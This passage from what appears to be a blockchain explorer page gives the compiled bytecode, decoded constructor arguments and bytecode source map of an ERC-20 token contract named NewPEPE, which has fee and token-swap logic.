260040160206040518083038186803b158015611e7b57600080fd5b505afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906122f2565b81600181518110611ec757611ec6612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2e30600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8b565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f929594939291906128c9565b600060405180830381600087803b158015611fac57600080fd5b505af1158015611fc0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ff5929190612899565b60405180910390a15050565b6000808314156120145760009050612076565b600082846120229190612aa2565b90508284826120319190612a71565b14612071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612068906127de565b60405180910390fd5b809150505b92915050565b60006120be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b600061210883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612156573d6000803e3d6000fd5b505050565b600080831182906121a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612199919061273c565b60405180910390fd5b50600083856121b19190612a71565b9050809150509392505050565b60006121d16121cc8461299a565b612975565b905080838252602082019050828560208602820111156121f4576121f3612d1d565b5b60005b85811015612224578161220a88826122b0565b8452602084019350602083019250506001810190506121f7565b5050509392505050565b60008135905061223d81612fb8565b92915050565b60008151905061225281612fb8565b92915050565b600082601f83011261226d5761226c612d18565b5b815161227d8482602086016121be565b91505092915050565b60008135905061229581612fcf565b92915050565b6000813590506122aa81612fe6565b92915050565b6000815190506122bf81612fe6565b92915050565b6000602082840312156122db576122da612d27565b5b60006122e98482850161222e565b91505092915050565b60006020828403121561230857612307612d27565b5b600061231684828501612243565b91505092915050565b6000806040838503121561233657612335612d27565b5b60006123448582860161222e565b92505060206123558582860161222e565b9150509250929050565b60008060006060848603121561237857612377612d27565b5b60006123868682870161222e565b93505060206123978682870161222e565b92505060406123a88682870161229b565b9150509250925092565b600080604083850312156123c9576123c8612d27565b5b60006123d78582860161222e565b92505060206123e88582860161229b565b9150509250929050565b60006020828403121561240857612407612d27565b5b600082015167ffffffffffffffff81111561242657612425612d22565b5b61243284828501612258565b91505092915050565b60006020828403121561245157612450612d27565b5b600061245f84828501612286565b91505092915050565b60006020828403121561247e5761247d612d27565b5b600061248c8482850161229b565b91505092915050565b6000602082840312156124ab576124aa612d27565b5b60006124b9848285016122b0565b91505092915050565b60006124ce83836124da565b60208301905092915050565b6124e381612b30565b82525050565b6124f281612b30565b82525050565b6000612503826129d6565b61250d81856129f9565b9350612518836129c6565b8060005b8381101561254957815161253088826124c2565b975061253b836129ec565b92505060018101905061251c565b5085935050505092915050565b61255f81612b42565b82525050565b61256e81612b85565b82525050565b600061257f826129e1565b6125898185612a0a565b9350612599818560208601612b97565b6125a281612d2c565b840191505092915050565b60006125ba602383612a0a565b91506125c582612d3d565b604082019050919050565b60006125dd602683612a0a565b91506125e882612d8c565b604082019050919050565b6000612600602283612a0a565b915061260b82612ddb565b604082019050919050565b6000612623601b83612a0a565b915061262e82612e2a565b602082019050919050565b6000612646602183612a0a565b915061265182612e53565b604082019050919050565b6000612669602083612a0a565b915061267482612ea2565b602082019050919050565b600061268c602983612a0a565b915061269782612ecb565b604082019050919050565b60006126af602583612a0a565b91506126ba82612f1a565b604082019050919050565b60006126d2602483612a0a565b91506126dd82612f69565b604082019050919050565b6126f181612b6e565b82525050565b61270081612b78565b82525050565b600060208201905061271b60008301846124e9565b92915050565b60006020820190506127366000830184612556565b92915050565b600060208201905081810360008301526127568184612574565b905092915050565b60006020820190508181036000830152612777816125ad565b9050919050565b60006020820190508181036000830152612797816125d0565b9050919050565b600060208201905081810360008301526127b7816125f3565b9050919050565b600060208201905081810360008301526127d781612616565b9050919050565b600060208201905081810360008301526127f781612639565b9050919050565b600060208201905081810360008301526128178161265c565b9050919050565b600060208201905081810360008301526128378161267f565b9050919050565b60006020820190508181036000830152612857816126a2565b9050919050565b60006020820190508181036000830152612877816126c5565b9050919050565b600060208201905061289360008301846126e8565b92915050565b60006040820190506128ae60008301856126e8565b81810360208301526128c081846124f8565b90509392505050565b600060a0820190506128de60008301886126e8565b6128eb6020830187612565565b81810360408301526128fd81866124f8565b905061290c60608301856124e9565b61291960808301846126e8565b9695505050505050565b600060608201905061293860008301866126e8565b61294560208301856126e8565b6129526040830184612556565b949350505050565b600060208201905061296f60008301846126f7565b92915050565b600061297f612990565b905061298b8282612bfc565b919050565b6000604051905090565b600067ffffffffffffffff8211156129b5576129b4612ce9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612a2682612b6e565b9150612a3183612b6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a6657612a65612c2d565b5b828201905092915050565b6000612a7c82612b6e565b9150612a8783612b6e565b925082612a9757612a96612c5c565b5b828204905092915050565b6000612aad82612b6e565b9150612ab883612b6e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612af157612af0612c2d565b5b828202905092915050565b6000612b0782612b6e565b9150612b1283612b6e565b925082821015612b2557612b24612c2d565b5b828203905092915050565b6000612b3b82612b4e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b9082612b6e565b9050919050565b60005b83811015612bb5578082015181840152602081019050612b9a565b83811115612bc4576000848401525b50505050565b60006002820490506001821680612be257607f821691505b60208210811415612bf657612bf5612c8b565b5b50919050565b612c0582612d2c565b810181811067ffffffffffffffff82111715612c2457612c23612ce9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612fc181612b30565b8114612fcc57600080fd5b50565b612fd881612b42565b8114612fe357600080fd5b50565b612fef81612b6e565b8114612ffa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220137302de847a67c9f5ad0544520c9a601660d60a4b8587cfb6f27779116942de64736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000280de800000000000000000000000004078aa147adeb33604e64a0d9f09e238e598a59a00000000000000000000000000000000000000000000000000000000000000074e6577504550450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e50455045000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): NewPEPE
Arg [1] : coinSymbol (string): NPEPE
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 42000000
Arg [4] : router (address): 0x4078aa147ADEb33604e64a0d9F09E238E598A59A

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000000000000000280de80
Arg [4] : 0000000000000000000000004078aa147adeb33604e64a0d9f09e238e598a59a
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 4e65775045504500000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [8] : 4e50455045000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8484:9301:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10799:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11965:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11076:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13210:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10985:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11462:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12489:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17449:333;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;11184:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5565:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5779:145;;;;;;;;;;;;;:::i;:::-;;10890:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11688:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13035:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5441:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12622:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11311:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5932:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10799:83;10836:13;10869:5;10862:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10799:83;:::o;11965:161::-;12040:4;12057:39;12066:12;:10;:12::i;:::-;12080:7;12089:6;12057:8;:39::i;:::-;12114:4;12107:11;;11965:161;;;;:::o;11076:100::-;11129:7;11156:12;;11149:19;;11076:100;:::o;13210:313::-;13308:4;13325:36;13335:6;13343:9;13354:6;13325:9;:36::i;:::-;;13372:121;13381:6;13389:12;:10;:12::i;:::-;13403:89;13441:6;13403:89;;;;;;;;;;;;;;;;;:11;:19;13415:6;13403:19;;;;;;;;;;;;;;;:33;13423:12;:10;:12::i;:::-;13403:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13372:8;:121::i;:::-;13511:4;13504:11;;13210:313;;;;;:::o;10985:83::-;11026:5;11051:9;;;;;;;;;;;11044:16;;10985:83;:::o;11462:218::-;11550:4;11567:83;11576:12;:10;:12::i;:::-;11590:7;11599:50;11638:10;11599:11;:25;11611:12;:10;:12::i;:::-;11599:25;;;;;;;;;;;;;;;:34;11625:7;11599:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11567:8;:83::i;:::-;11668:4;11661:11;;11462:218;;;;:::o;12489:125::-;5702:12;:10;:12::i;:::-;5692:22;;:6;;;;;;;;;;:22;;;5684:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12598:8:::1;12571:24;:35;;;;12489:125:::0;:::o;17449:333::-;17518:16;17536:17;17556:10;17596:9;:18;17606:7;17596:18;;;;;;;;;;;;;;;:27;;;17585:38;;17653:11;;;;;;;;;;;17646:29;;;17676:7;17646:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17634:50;;17695:25;17723:9;:18;17733:7;17723:18;;;;;;;;;;;;;;;17695:46;;17760:8;:14;;;;;;;;;;;;17752:22;;17574:208;17449:333;;;;;:::o;11184:119::-;11250:7;11277:9;:18;11287:7;11277:18;;;;;;;;;;;;;;;;11270:25;;11184:119;;;:::o;5565:79::-;5603:7;5630:6;;;;;;;;;;;5623:13;;5565:79;:::o;5779:145::-;5702:12;:10;:12::i;:::-;5692:22;;:6;;;;;;;;;;:22;;;5684:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5883:1:::1;5846:40;;5867:6;::::0;::::1;;;;;;;;5846:40;;;;;;;;;;;;5914:1;5897:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5779:145::o:0;10890:87::-;10929:13;10962:7;10955:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10890:87;:::o;11688:269::-;11781:4;11798:129;11807:12;:10;:12::i;:::-;11821:7;11830:96;11869:15;11830:96;;;;;;;;;;;;;;;;;:11;:25;11842:12;:10;:12::i;:::-;11830:25;;;;;;;;;;;;;;;:34;11856:7;11830:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11798:8;:129::i;:::-;11945:4;11938:11;;11688:269;;;;:::o;13035:167::-;13113:4;13130:42;13140:12;:10;:12::i;:::-;13154:9;13165:6;13130:9;:42::i;:::-;;13190:4;13183:11;;13035:167;;;;:::o;5441:21::-;;;;;;;;;;;;:::o;12622:171::-;5702:12;:10;:12::i;:::-;5692:22;;:6;;;;;;;;;;:22;;;5684:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12723:8:::1;12699:21;;:32;;;;;;;;;;;;;;;;;;12747:38;12776:8;12747:38;;;;;;:::i;:::-;;;;;;;;12622:171:::0;:::o;11311:143::-;11392:7;11419:11;:18;11431:5;11419:18;;;;;;;;;;;;;;;:27;11438:7;11419:27;;;;;;;;;;;;;;;;11412:34;;11311:143;;;;:::o;5932:244::-;5702:12;:10;:12::i;:::-;5692:22;;:6;;;;;;;;;;:22;;;5684:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6041:1:::1;6021:22;;:8;:22;;;;6013:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6131:8;6102:38;;6123:6;::::0;::::1;;;;;;;;6102:38;;;;;;;;;;;;6160:8;6151:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5932:244:::0;:::o;102:115::-;155:15;198:10;183:26;;102:115;:::o;12134:347::-;12244:1;12227:19;;:5;:19;;;;12219:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12325:1;12306:21;;:7;:21;;;;12298:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12409:6;12379:11;:18;12391:5;12379:18;;;;;;;;;;;;;;;:27;12398:7;12379:27;;;;;;;;;;;;;;;:36;;;;12457:7;12431:42;;12440:5;12431:42;;;12466:6;12431:42;;;;;;:::i;:::-;;;;;;;;12134:347;;;:::o;13531:1295::-;13618:4;13663:1;13645:20;;:6;:20;;;;13637:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13747:1;13726:23;;:9;:23;;;;13718:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13817:1;13808:6;:10;13800:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13880:16;;;;;;;;;;;13877:942;;;13929:41;13944:6;13952:9;13963:6;13929:14;:41::i;:::-;13922:48;;;;13877:942;14023:28;14054:24;14072:4;14054:9;:24::i;:::-;14023:55;;14093:28;14148:12;;14124:20;:36;;14093:67;;14181:23;:44;;;;;14209:16;;;;;;;;;;;14208:17;14181:44;:69;;;;;14230:12;:20;14243:6;14230:20;;;;;;;;;;;;;;;;;;;;;;;;;14229:21;14181:69;:94;;;;;14254:21;;;;;;;;;;;14181:94;14177:301;;;14312:25;;;;;;;;;;;14309:98;;;14383:24;;14360:47;;14309:98;14426:36;14441:20;14426:14;:36::i;:::-;14177:301;14514:53;14536:6;14514:53;;;;;;;;;;;;;;;;;:9;:17;14524:6;14514:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14494:9;:17;14504:6;14494:17;;;;;;;;;;;;;;;:73;;;;14584:19;14606:34;14614:6;14622:9;14633:6;14606:7;:34::i;:::-;14584:56;;14682:37;14707:11;14682:9;:20;14692:9;14682:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14659:9;:20;14669:9;14659:20;;;;;;;;;;;;;;;:60;;;;14758:9;14741:40;;14750:6;14741:40;;;14769:11;14741:40;;;;;;:::i;:::-;;;;;;;;14803:4;14796:11;;;;;13531:1295;;;;;;:::o;1521:192::-;1607:7;1640:1;1635;:6;;1643:12;1627:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1667:9;1683:1;1679;:5;;;;:::i;:::-;1667:17;;1704:1;1697:8;;;1521:192;;;;;:::o;1197:172::-;1255:7;1275:9;1291:1;1287;:5;;;;:::i;:::-;1275:17;;1307:1;1302;:6;;1294:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1360:1;1353:8;;;1197:172;;;;:::o;14834:330::-;14927:4;14964:53;14986:6;14964:53;;;;;;;;;;;;;;;;;:9;:17;14974:6;14964:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14944:9;:17;14954:6;14944:17;;;;;;;;;;;;;;;:73;;;;15051:32;15076:6;15051:9;:20;15061:9;15051:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15028:9;:20;15038:9;15028:20;;;;;;;;;;;;;;;:55;;;;15116:9;15099:35;;15108:6;15099:35;;;15127:6;15099:35;;;;;;:::i;:::-;;;;;;;;15152:4;15145:11;;14834:330;;;;;:::o;15174:621::-;9798:4;9779:16;;:23;;;;;;;;;;;;;;;;;;15278:25:::1;15295:7;15278:16;:25::i;:::-;15314:22;15339:21;15314:46;;15403:22;15428:31;15455:3;15428:22;15447:2;15428:14;:18;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;15403:56;;15496:27;15526:34;15545:14;15526;:18;;:34;;;;:::i;:::-;15496:64;;15598:1;15576:19;:23;15573:106;;;15614:65;15635:22;;;;;;;;;;;15659:19;15614:20;:65::i;:::-;15573:106;15712:1;15695:14;:18;15692:91;;;15728:55;15749:17;;;;;;;;;;;15768:14;15728:20;:55::i;:::-;15692:91;15235:560;;;9844:5:::0;9825:16;;:24;;;;;;;;;;;;;;;;;;15174:621;:::o;16471:968::-;16557:7;16579:17;16599:1;16579:21;;16611:18;16647:12;:20;16660:6;16647:20;;;;;;;;;;;;;;;;;;;;;;;;;16644:223;;;16696:38;16730:3;16696:29;16707:17;;16696:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;16684:50;;16644:223;;;16764:12;:23;16777:9;16764:23;;;;;;;;;;;;;;;;;;;;;;;;;16761:106;;;16816:39;16851:3;16816:30;16827:18;;16816:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;16804:51;;16761:106;16644:223;16892:1;16880:9;:13;16877:514;;;16937:39;16966:9;16937;:24;16955:4;16937:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;16910:9;:24;16928:4;16910:24;;;;;;;;;;;;;;;:66;;;;17021:4;16996:42;;17005:6;16996:42;;;17028:9;16996:42;;;;;;:::i;:::-;;;;;;;;16877:514;;;17133:21;17171:1;17157:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17133:40;;17206:6;17188:4;17193:1;17188:7;;;;;;;;:::i;:::-;;;;;;;:25;;;;;;;;;;;17238:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17228:4;17233:1;17228:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;17275:12;17290:15;;;;;;;;;;;:29;;;17320:6;17327:4;17290:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17333:1;17290:45;;;;;;;;:::i;:::-;;;;;;;;17275:60;;17372:7;17363:6;:16;;;;:::i;:::-;17350:29;;17054:337;;16877:514;17410:21;17421:9;17410:6;:10;;:21;;;;:::i;:::-;17403:28;;;;16471:968;;;;;:::o;15801:658::-;15927:21;15965:1;15951:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15927:40;;15996:4;15978;15983:1;15978:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16022:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16012:4;16017:1;16012:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16057:62;16074:4;16089:15;;;;;;;;;;;16107:11;16057:8;:62::i;:::-;16158:15;;;;;;;;;;;:66;;;16239:11;16265:1;16309:4;16336;16372:15;16158:240;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16416:35;16433:11;16446:4;16416:35;;;;;;;:::i;:::-;;;;;;;;15856:603;15801:658;:::o;1721:248::-;1779:7;1808:1;1803;:6;1799:47;;;1833:1;1826:8;;;;1799:47;1858:9;1874:1;1870;:5;;;;:::i;:::-;1858:17;;1903:1;1898;1894;:5;;;;:::i;:::-;:10;1886:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1960:1;1953:8;;;1721:248;;;;;:::o;1977:132::-;2035:7;2062:39;2066:1;2069;2062:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2055:46;;1977:132;;;;:::o;1377:136::-;1435:7;1462:43;1466:1;1469;1462:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1455:50;;1377:136;;;;:::o;12803:126::-;12895:9;:18;;:26;12914:6;12895:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12803:126;;:::o;2117:278::-;2203:7;2235:1;2231;:5;2238:12;2223:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2262:9;2278:1;2274;:5;;;;:::i;:::-;2262:17;;2386:1;2379:8;;;2117:278;;;;;:::o;24:744:1:-;131:5;156:81;172:64;229:6;172:64;:::i;:::-;156:81;:::i;:::-;147:90;;257:5;286:6;279:5;272:21;320:4;313:5;309:16;302:23;;346:6;396:3;388:4;380:6;376:17;371:3;367:27;364:36;361:143;;;415:79;;:::i;:::-;361:143;528:1;513:249;538:6;535:1;532:13;513:249;;;606:3;635:48;679:3;667:10;635:48;:::i;:::-;630:3;623:61;713:4;708:3;704:14;697:21;;747:4;742:3;738:14;731:21;;573:189;560:1;557;553:9;548:14;;513:249;;;517:14;137:631;;24:744;;;;;:::o;774:139::-;820:5;858:6;845:20;836:29;;874:33;901:5;874:33;:::i;:::-;774:139;;;;:::o;919:143::-;976:5;1007:6;1001:13;992:22;;1023:33;1050:5;1023:33;:::i;:::-;919:143;;;;:::o;1085:385::-;1167:5;1216:3;1209:4;1201:6;1197:17;1193:27;1183:122;;1224:79;;:::i;:::-;1183:122;1334:6;1328:13;1359:105;1460:3;1452:6;1445:4;1437:6;1433:17;1359:105;:::i;:::-;1350:114;;1173:297;1085:385;;;;:::o;1476:133::-;1519:5;1557:6;1544:20;1535:29;;1573:30;1597:5;1573:30;:::i;:::-;1476:133;;;;:::o;1615:139::-;1661:5;1699:6;1686:20;1677:29;;1715:33;1742:5;1715:33;:::i;:::-;1615:139;;;;:::o;1760:143::-;1817:5;1848:6;1842:13;1833:22;;1864:33;1891:5;1864:33;:::i;:::-;1760:143;;;;:::o;1909:329::-;1968:6;2017:2;2005:9;1996:7;1992:23;1988:32;1985:119;;;2023:79;;:::i;:::-;1985:119;2143:1;2168:53;2213:7;2204:6;2193:9;2189:22;2168:53;:::i;:::-;2158:63;;2114:117;1909:329;;;;:::o;2244:351::-;2314:6;2363:2;2351:9;2342:7;2338:23;2334:32;2331:119;;;2369:79;;:::i;:::-;2331:119;2489:1;2514:64;2570:7;2561:6;2550:9;2546:22;2514:64;:::i;:::-;2504:74;;2460:128;2244:351;;;;:::o;2601:474::-;2669:6;2677;2726:2;2714:9;2705:7;2701:23;2697:32;2694:119;;;2732:79;;:::i;:::-;2694:119;2852:1;2877:53;2922:7;2913:6;2902:9;2898:22;2877:53;:::i;:::-;2867:63;;2823:117;2979:2;3005:53;3050:7;3041:6;3030:9;3026:22;3005:53;:::i;:::-;2995:63;;2950:118;2601:474;;;;;:::o;3081:619::-;3158:6;3166;3174;3223:2;3211:9;3202:7;3198:23;3194:32;3191:119;;;3229:79;;:::i;:::-;3191:119;3349:1;3374:53;3419:7;3410:6;3399:9;3395:22;3374:53;:::i;:::-;3364:63;;3320:117;3476:2;3502:53;3547:7;3538:6;3527:9;3523:22;3502:53;:::i;:::-;3492:63;;3447:118;3604:2;3630:53;3675:7;3666:6;3655:9;3651:22;3630:53;:::i;:::-;3620:63;;3575:118;3081:619;;;;;:::o;3706:474::-;3774:6;3782;3831:2;3819:9;3810:7;3806:23;3802:32;3799:119;;;3837:79;;:::i;:::-;3799:119;3957:1;3982:53;4027:7;4018:6;4007:9;4003:22;3982:53;:::i;:::-;3972:63;;3928:117;4084:2;4110:53;4155:7;4146:6;4135:9;4131:22;4110:53;:::i;:::-;4100:63;;4055:118;3706:474;;;;;:::o;4186:554::-;4281:6;4330:2;4318:9;4309:7;4305:23;4301:32;4298:119;;;4336:79;;:::i;:::-;4298:119;4477:1;4466:9;4462:17;4456:24;4507:18;4499:6;4496:30;4493:117;;;4529:79;;:::i;:::-;4493:117;4634:89;4715:7;4706:6;4695:9;4691:22;4634:89;:::i;:::-;4624:99;;4427:306;4186:554;;;;:::o;4746:323::-;4802:6;4851:2;4839:9;4830:7;4826:23;4822:32;4819:119;;;4857:79;;:::i;:::-;4819:119;4977:1;5002:50;5044:7;5035:6;5024:9;5020:22;5002:50;:::i;:::-;4992:60;;4948:114;4746:323;;;;:::o;5075:329::-;5134:6;5183:2;5171:9;5162:7;5158:23;5154:32;5151:119;;;5189:79;;:::i;:::-;5151:119;5309:1;5334:53;5379:7;5370:6;5359:9;5355:22;5334:53;:::i;:::-;5324:63;;5280:117;5075:329;;;;:::o;5410:351::-;5480:6;5529:2;5517:9;5508:7;5504:23;5500:32;5497:119;;;5535:79;;:::i;:::-;5497:119;5655:1;5680:64;5736:7;5727:6;5716:9;5712:22;5680:64;:::i;:::-;5670:74;;5626:128;5410:351;;;;:::o;5767:179::-;5836:10;5857:46;5899:3;5891:6;5857:46;:::i;:::-;5935:4;5930:3;5926:14;5912:28;;5767:179;;;;:::o;5952:108::-;6029:24;6047:5;6029:24;:::i;:::-;6024:3;6017:37;5952:108;;:::o;6066:118::-;6153:24;6171:5;6153:24;:::i;:::-;6148:3;6141:37;6066:118;;:::o;6220:732::-;6339:3;6368:54;6416:5;6368:54;:::i;:::-;6438:86;6517:6;6512:3;6438:86;:::i;:::-;6431:93;;6548:56;6598:5;6548:56;:::i;:::-;6627:7;6658:1;6643:284;6668:6;6665:1;6662:13;6643:284;;;6744:6;6738:13;6771:63;6830:3;6815:13;6771:63;:::i;:::-;6764:70;;6857:60;6910:6;6857:60;:::i;:::-;6847:70;;6703:224;6690:1;6687;6683:9;6678:14;;6643:284;;;6647:14;6943:3;6936:10;;6344:608;;;6220:732;;;;:::o;6958:109::-;7039:21;7054:5;7039:21;:::i;:::-;7034:3;7027:34;6958:109;;:::o;7073:147::-;7168:45;7207:5;7168:45;:::i;:::-;7163:3;7156:58;7073:147;;:::o;7226:364::-;7314:3;7342:39;7375:5;7342:39;:::i;:::-;7397:71;7461:6;7456:3;7397:71;:::i;:::-;7390:78;;7477:52;7522:6;7517:3;7510:4;7503: